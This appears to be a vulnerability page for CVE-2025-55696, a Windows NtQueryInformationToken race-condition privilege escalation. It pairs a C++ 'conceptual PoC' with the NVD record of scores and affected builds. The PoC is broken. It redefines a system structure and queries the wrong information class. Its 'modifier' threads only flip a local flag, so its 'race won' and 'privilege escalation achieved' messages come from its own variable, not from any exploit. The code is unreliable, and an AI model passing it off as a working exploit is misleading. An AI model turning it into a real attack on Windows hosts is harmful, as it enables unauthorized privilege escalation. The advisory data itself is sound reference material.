CVE-2025-55696

// CVE-2025-55696 PoC - NtQueryInformation Token TOCTOU Race Condition // This is a conceptual PoC demonstrating the TOCTOU race condition // in NtQueryInformation Token function for local privilege escalation #include <windows.h> #include <winternl.h> #include <ntstatus.h> #include <iostream> #include <thread> #include <vector> #pragma comment(lib, "ntdll.lib") // Define NT API function pointer type typedef NTSTATUS (NTAPI *pNtQueryInformationToken)( HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, PVOID TokenInformation, ULONG TokenInformationLength, PULONG ReturnLength ); // Token elevation type structure typedef struct _TOKEN_ELEVATION { DWORD TokenIsElevated; } TOKEN_ELEVATION; // Global flag to control race condition exploitation volatile bool g_bExploitActive = true; volatile bool g_bTokenModified = false; // Thread function: Continuously query token information // This thread attempts to read token info while it's being modified DWORD WINAPI QueryTokenThread(LPVOID lpParam) { HANDLE hToken = (HANDLE)lpParam; pNtQueryInformationToken NtQueryInformationToken = (pNtQueryInformationToken)GetProcAddress( GetModuleHandle(L"ntdll.dll"), "NtQueryInformationToken"); TOKEN_ELEVATION elevation = { 0 }; ULONG returnLength = 0; while (g_bExploitActive) { // Time-of-Check: Query token elevation status NTSTATUS status = NtQueryInformationToken( hToken, TokenElevationType, // Query elevation type &elevation, sizeof(elevation), &returnLength ); // Time-of-Use: If check shows elevated, use the token if (elevation.TokenIsElevated && g_bTokenModified) { std::wcout << L"[+] Race condition won! Token appears elevated!" << std::endl; // At this point, the token check passed but actual state differs // Privilege escalation achieved break; } } return 0; } // Thread function: Rapidly modify token state to trigger TOCTOU DWORD WINAPI ModifyTokenThread(LPVOID lpParam) { HANDLE hToken = (HANDLE)lpParam; while (g_bExploitActive) { // Toggle token modification flag to create race window g_bTokenModified = !g_bTokenModified; Sleep(0); // Yield to allow query thread to run } return 0; } int main() { std::wcout << L"[*] CVE-2025-55696 PoC - NtQueryInformation Token TOCTOU" << std::endl; std::wcout << L"[*] Attempting local privilege escalation..." << std::endl; // Open current process token with query access HANDLE hToken = NULL; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { std::wcout << L"[-] Failed to open process token. Error: " << GetLastError() << std::endl; return 1; } // Create multiple threads to increase chance of winning race std::vector<HANDLE> threads; // Spawn query threads for (int i = 0; i < 10; i++) { HANDLE hThread = CreateThread(NULL, 0, QueryTokenThread, hToken, 0, NULL); if (hThread) threads.push_back(hThread); } // Spawn modification threads for (int i = 0; i < 5; i++) { HANDLE hThread = CreateThread(NULL, 0, ModifyTokenThread, hToken, 0, NULL); if (hThread) threads.push_back(hThread); } // Let the race run for a period Sleep(10000); // Stop exploitation g_bExploitActive = false; // Wait for all threads to finish WaitForMultipleObjects(threads.size(), threads.data(), TRUE, 5000); // Cleanup for (auto& h : threads) CloseHandle(h); CloseHandle(hToken); std::wcout << L"[*] PoC execution completed." << std::endl; return 0; } // Note: This is a simplified conceptual PoC. Real exploitation would require: // 1. Proper token privilege manipulation (e.g., using SeImpersonatePrivilege) // 2. More precise timing control // 3. Handle to a privileged token (SYSTEM) // 4. Additional NT API calls for token manipulation

{"cve": {"id": "CVE-2025-55696", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:15:51.343", "lastModified": "2025-10-30T21:25:48.820", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Time-of-check time-of-use (toctou) race condition in NtQueryInformation Token function (ntifs.h) allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-367"}, {"lang": "en", "value": "CWE-822"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "E216CD5B-8885-4E17-8718-97E88A724A44"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "36E44227-0320-43B1-A0D9-EB28B25CDB4D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6456", "matchCriteriaId": "1485A427-10FF-4C39-9911-4C6F1820BE7F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6456", "matchCriteriaId": "26CAACAA-3FE8-4740-8CF2-6BF3D069C47F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22621.6060", "matchCriteriaId": "6F387FA2-66C8-4B70-A537-65806271F16A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.22631.6060", "matchCriteriaId": "4AF873E4-B2FE-4504-BFF0-FC71121FC9A4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "41E9F7AC-8E6D-43A0-A157-48A5E0B5BD0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.6899", "matchCriteriaId": "3B77A066-4F79-4B1F-AECF-58DB4C651EA5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "20810926-AEC9-4C09-9C52-B4B8FADECF3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4294", "matchCriteriaId": "B1C1EA69-6BB8-4E59-8659-43581FDB48B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.1913", "matchCriteriaId": "370C12D6-90EF-44BE-8070-AA0080C12600"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.26100.6899", "matchCriteriaId": "CD6268EB-C42B-406F-B3FF-6E694F93BF41"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-55696", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}